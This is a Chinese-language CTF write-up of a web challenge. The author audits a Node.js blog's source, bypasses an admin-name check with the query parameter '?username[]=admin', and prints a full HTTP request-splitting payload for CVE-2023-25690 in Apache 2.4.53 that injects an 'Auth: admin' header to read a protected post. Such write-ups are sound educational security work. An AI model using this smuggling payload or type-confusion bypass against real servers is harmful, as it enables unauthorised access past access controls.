开篇废话
今年的 Hackergame 鸽了,作为热身还是做个简单的 web 题(
正文
题目
某单位的资产中无意发现了一个已弃用的博客网站,你能找到其中的安全漏洞,并查看重要信息吗?
提交的flag格式:wdflag{xxxxx}
拿到 flag uuid
首先看到 src/db.js
里面,看上去只有管理员的账号能拿到带 flag 的 posts,不过密码是随机生成的。
再回到 routes/api.js
里面找找路由
/login
看上去没什么洞,各种条件判断拉满了。
然后看了下 /search
的路由,感觉因为判断漏了个东西看上去可以获取 admin 的 post uuid :
router.get(../search", mw.requiresLogin, (req, res) => {
let {username} = req.query;
if (!username) {
return res.jsonp({
success: false,
error: "Missing username"
});
}
if (username === "admin") {
return res.jsonp({
success: false,
error: "Forbidden !"
});
}
这里没有判断 req.query.username
是 string 还是 array (其他路由都有这样的判断),因此可以用脚写个 ?username[]=admin 就绕过去。
这是因为搜索以及数据库的逻辑同时写得很幽默导致的
db.users.forEach((value, key) => {
if (key == username) {
value.posts.forEach((id) => {
list.push(id);
});
}
});
db.js:
const users = new Map();
const posts = new Map();
不过这里埋了个坑,直接前端 F12 network 的话是只会看到 dosearch/username/test
的请求,如果按照这个路由的话,那么是没有办法触发漏洞的(然后到后面才知道这里是因为需要才做的)
具体伪静态规则可以在 httpd.conf
找到相关的内容:
RewriteRule "^/do(\w+)/(\w+)/(.+)$" "http://127.0.0.1:3000/api/$1/?$2=$3" [P]
RewriteRule "^/do(\w+)$" "http://127.0.0.1:3000/api/$1" [P]
于是我们登录后请求 /search?username[]=admin
即可拿到第一阶段要的东西 post uuid :
{
"success": true,
"list": ["c3a4ec53-29cf-43e2-ae57-f3a8a878396f"]
}
翻车
然后我拿着 uuid 去请求的时候翻车了:
http://127.0.0.1:3000/api/post?id=c3a4ec53-29cf-43e2-ae57-f3a8a878396f
提示:
{
"success":false,
"error":"No permission to view this post"
}
于是我们继续审计代码,看到 routes/api.js
里面:
router.get(../post", (req, res) => {
let {id} = req.query;
if (!id || typeof id !== "string") {
return res.jsonp({
success: false,
error: "Missing id"
});
}
if (!db.posts.has(id)) {
return res.jsonp({
success: false,
error: "No post found with that id"
});
}
let post = db.posts.get(id);
if (req.role !== "admin" && !post.isPublic && (!req.user || !req.user.posts.includes(id))) {
return res.jsonp({
success: false,
error: "No permission to view this post"
});
}
绕过 header
审计完简单来说就是 post 的 api 有鉴权,
在没有管理员权限 或者文章没公开且文章作者不是自己的话就会提示没有权限,看其他地方我们也没有更改 req.user.posts 的办法,于是我们研究下 req.role
是怎么传入的:
回到了 app.js
里面:
if(req.headers.auth) {
req.role = req.headers.auth;
}
然后我 curl 带了 -H 'auth: admin'
发现不行(
研究了下发现又是 httpd.conf 也就是 apache 里面的规则导致的:
RequestHeader set Auth "guest"
看上去是会强制覆盖,然后
Auth
AUth
AUTh
AUTH
的头都试过了,看上去也不行。
想来想去于是再看了下 apache 版本:
FROM httpd:2.4.53
找找 CVE 先(
https://httpd.apache.org/security/vulnerabilities_24.html
最后找各种带 payload 的 CVE 定位到了比较像的: CVE-2023-25690
important: HTTP request splitting with mod_rewrite and mod_proxy (CVE-2023-25690)
Some mod_proxy configurations on Apache HTTP Server versions 2.4.0 through 2.4.55 allow a HTTP Request Smuggling attack. Configurations are affected when mod_proxy is enabled along with some form of RewriteRule or ProxyPassMatch in which a non-specific pattern matches some portion of the user-supplied request-target (URL) data and is then re-inserted into the proxied request-target using variable substitution.
For example, something like:
RewriteEngine on
RewriteRule “^/here/(.*)” “http://example.com:8080/elsewhere?$1"; [P]
ProxyPassReverse /here/ http://example.com:8080/
Request splitting/smuggling could result in bypass of access controls in the proxy server, proxying unintended URLs to existing origin servers, and cache poisoning.
Acknowledgements: finder: Lars Krapf of Adobe
Reported to security team 2023-02-02
fixed by r1908095 in 2.4.x 2023-03-07
Update 2.4.56 released 2023-03-07
Affects 2.4.0 through 2.4.55
这个 CVE 大概就是说在启用 RewriteRule 后,有奇奇怪怪的 pattern 能够绕过 httpd 的处理直接 产 地 直 送 头
看上去就十分适合我们这个题目,于是随便找了个 payload: https://github.com/dhmosfunk/CVE-2023-25690-POC
GET /dopost/id/c3a4ec53-29cf-43e2-ae57-f3a8a878396f%20HTTP/1.1%0d%0aAuth:%20admin%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
Host: 127.0.0.1:18888
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
然后收工:
{
"success":true,
"name":"Flag",
"body":"wdflag{test_flag}"
}
总结
虽然是签到题也不轻松啦,感觉主要考经验?
这道题就主要考 Apache 部分了,就我个人的话 username[]=admin 是5分钟内就做出来了,然后覆盖 header 研究确定方向再到找资料花了1小时。
当然可能因为太久没做 CTF 生疏了(
今年真的不做 Hackergame !
完